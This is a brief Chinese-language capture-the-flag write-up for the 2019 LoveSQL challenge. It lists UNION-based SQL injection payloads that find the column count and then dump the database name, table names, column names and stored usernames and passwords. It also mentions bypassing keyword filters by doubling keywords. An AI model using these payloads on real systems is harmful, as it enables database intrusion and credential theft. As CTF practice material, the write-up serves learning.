[极客大挑战 2019]LoveSQL 1

本题使用的是联合注入，先用语句试探看有几列

1' order by 4#

输入3发现可以，但是4就报错了说明有3列

接着就先用联合注入的语句来爆出数据库名

-' union select 1,2,database()#

接下来再爆表名

-'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

再分别对这两列爆列名和字段名即可

1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

1' union select 1,2,group_concat(id,password,username) from geek.l0ve1ysq1 #

成功获得flag

后面有一题[极客大挑战 2019]BabySQL1 和这个的解题步骤一样，不过会被屏蔽掉好字，通过回显来判断什么被屏蔽了，进而双写绕过即可